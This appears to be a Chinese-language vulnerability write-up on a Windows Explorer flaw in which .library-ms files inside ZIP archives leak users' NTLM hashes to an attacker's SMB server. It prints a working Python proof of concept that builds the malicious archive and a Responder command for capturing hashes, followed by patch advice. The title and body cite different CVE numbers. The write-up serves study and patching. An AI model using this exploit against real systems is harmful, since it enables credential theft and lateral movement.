跳转至

CVE-2025-24054

CVE-2025-24071是Windows文件资源管理器中的一个欺骗漏洞,利用Windows对.library-ms文件的隐式信任和自动解析特性。攻击者通过构造包含恶意SMB路径的.library-ms文件并打包为ZIP/RAR文件,当用户解压时,Windows资源管理器会自动尝试连接到指定的SMB服务器,从而泄露用户的NTLM认证哈希。

影响范围

  • Windows 10及更早版本
  • Windows 11(未安装最新补丁的版本)
  • Windows Server 2016/2019/2022(未安装最新补丁的版本)

漏洞原理深度剖析

此漏洞利用了多个Windows组件的交互特性:

.library-ms文件格式分析

.library-ms是Windows库文件格式,本质上是一个XML文件,用于定义Windows资源管理器中的库视图。其结构包含对网络位置的引用能力:

XML
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\攻击者IP\共享名</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

自动解析机制

Windows文件资源管理器在处理.library-ms文件时存在以下行为:

  1. 预览自动触发:当用户解压包含.library-ms文件的ZIP/RAR归档时,Windows资源管理器会自动预览或解析文件内容
  2. XML内容处理:解析XML时发现网络路径,会尝试连接该路径
  3. 隐式信任:不同于直接访问UNC路径时的安全提示,通过.library-ms文件访问时不会显示警告

NTLM认证流程

当Windows尝试访问SMB共享时,会自动发起NTLM认证:

  1. 协商阶段(Negotiate): 客户端发送NTLMSSP_NEGOTIATE消息
  2. 质询阶段(Challenge): 服务器返回随机挑战值
  3. 认证阶段(Authenticate): 客户端使用用户哈希加密挑战值进行响应

这一过程会导致用户的NTLMv2哈希被发送到攻击者控制的服务器,而无需用户交互确认。

漏洞复现

CVE-2025-24071_PoC/poc.py at main · 0x6rss/CVE-2025-24071_PoC

Python
import os
import zipfile

def main():
    file_name = input("Enter your file name: ")
    ip_address = input("Enter IP (EX: 192.168.1.162): ")


    library_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <simpleLocation>
        <url>\\\\{ip_address}\\shared</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
"""

    library_file_name = f"{file_name}.library-ms"
    with open(library_file_name, "w", encoding="utf-8") as f:
        f.write(library_content)


    with zipfile.ZipFile("exploit.zip", mode="w", compression=zipfile.ZIP_DEFLATED) as zipf:
        zipf.write(library_file_name)


    if os.path.exists(library_file_name):
        os.remove(library_file_name)

    print("completed")

if __name__ == "__main__":
    main()
Bash
python poc.py
Enter your file name: exp
Enter IP (EX: 192.168.1.162): 172.16.137.133
completed

image-20250329203522947

执行后会生成恶意文件的压缩包,将它传到靶机处

Bash
# kali responder
sudo responder -I eth0 -wvF
# -I 指定网卡/IP

image-20250329204410769

可以看到收到windows NTML Hash

后续可以暴力破解Hash或进行重放攻击、横向移动等

CVE-2025-24071 Windows文件资源管理器欺骗漏洞复现-CSDN博客

漏洞原理分析

文本文件也可以是木马?我们逆向发现未公开的秘密!_哔哩哔哩_bilibili

修复建议

  • 补丁更新

目前微软官方已针对受支持的产品版本发布了修复该漏洞的安全补丁,建议受影响用户尽快安装补丁进行防护,下载链接:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24071

注:由于网络问题、计算机环境问题等原因,Windows Update的补丁更新可能出现失败。用户在安装补丁后,应及时检查补丁是否成功更新。

右键点击Windows图标,选择“设置(N)”,选择“更新和安全”-“Windows更新”,查看该页面上的提示信息,也可点击“查看更新历史记录”查看历史更新情况。

针对未成功安装的更新,可点击更新名称跳转到微软官方下载页面,建议用户点击该页面上的链接,转到“Microsoft更新目录”网站下载独立程序包并安装。